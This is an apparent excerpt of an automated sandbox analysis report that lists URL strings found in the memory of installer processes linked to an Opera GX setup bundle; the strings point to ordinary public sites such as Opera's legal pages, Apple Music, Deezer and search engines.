      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://gamemaker.io/en/education.
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://gamemaker.io/en/get.
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://help.instagram.com/581066165581870;
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://help.opera.com/latest/
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000000.1314369731.0000000000401000.00000020.00000001.01000000.00000003.sdmpString found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://legal.opera.com/eula/computers
      Source: installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://legal.opera.com/privacy
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://legal.opera.com/privacy.
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://legal.opera.com/terms
      Source: installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://legal.opera.com/terms.
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://listen.tidal.com/
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://listen.tidal.com/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://login.tidal.com
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/at/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/au/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/be/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/bg/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/br/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/by/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ca/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ch/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/cn/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/cz/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/de/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/dk/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/eg/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/es/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/fi/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/fr/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/gb/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/hu/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/id/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/in/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/it/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/jp/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ke/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/kr/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/kz/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ma/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/mx/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/my/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ng/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/nl/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/no/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ph/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/pl/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ro/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/rs/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ru/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/se/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/sg/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/sk/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/th/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/tr/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/ua/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/us/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/vn/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.apple.com/za/browse
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://music.youtube.com
      Source: installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://nova.rambler.ru/suggest?v=3&query=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://oauth.play.pl/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://offer.tidal.com
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://open.spotify.com
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://opera.com/privacy
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://policies.google.com/terms;
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://redir.opera.com/amazon/?q=
      Source: installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://redir.opera.com/search/rambler/?q=
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://redir.opera.com/uninstallsurvey/
      Source: installer.exe, 00000017.00000002.3370222107.00007CD8000E4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://redir.opera.com/www.opera.com/gx/firstrun/?utm_campaign=PWN_US_PB3_DD_3661&utm_content=3661_
      Source: installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://search.seznam.cz/?q=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://search.yahoo.co.jp/search?ei=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://search.yahoo.com/favicon.ico
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://search.yahoo.com/search?ei=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://soundcloud.com/
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://sourcecode.opera.com
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://suggest.yandex.com.tr/suggest-opera?part=
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://telegram.org/tos/
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://translate.yandex.fr/?text=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://translate.yandex.net/main/v2.92.1465389915/i/favicon.ico
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://twitter.com/en/tos;
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/oauth
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.amazon.com/favicon.ico
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.baidu.com/baidu?wd=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.baidu.com/favicon.ico
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/bg/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/br/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/cz/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/de/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/en/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/es/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/fi/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/fr/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/hu/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/id/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/it/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/mx/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/nl/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/no/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/pl/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/ro/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/ru/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/se/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/sk/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/sr/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/th/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/tr/login
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.deezer.com/us/login
      Source: setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454251154.0000000005138000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/complete/search?client=opera&q=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/favicon.ico
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/search?client=opera-gx&q=
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1318438752.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.exe, 00000001.00000003.1317502919.0000000002610000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000000.1321065649.0000000000401000.00000020.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.innosetup.com/
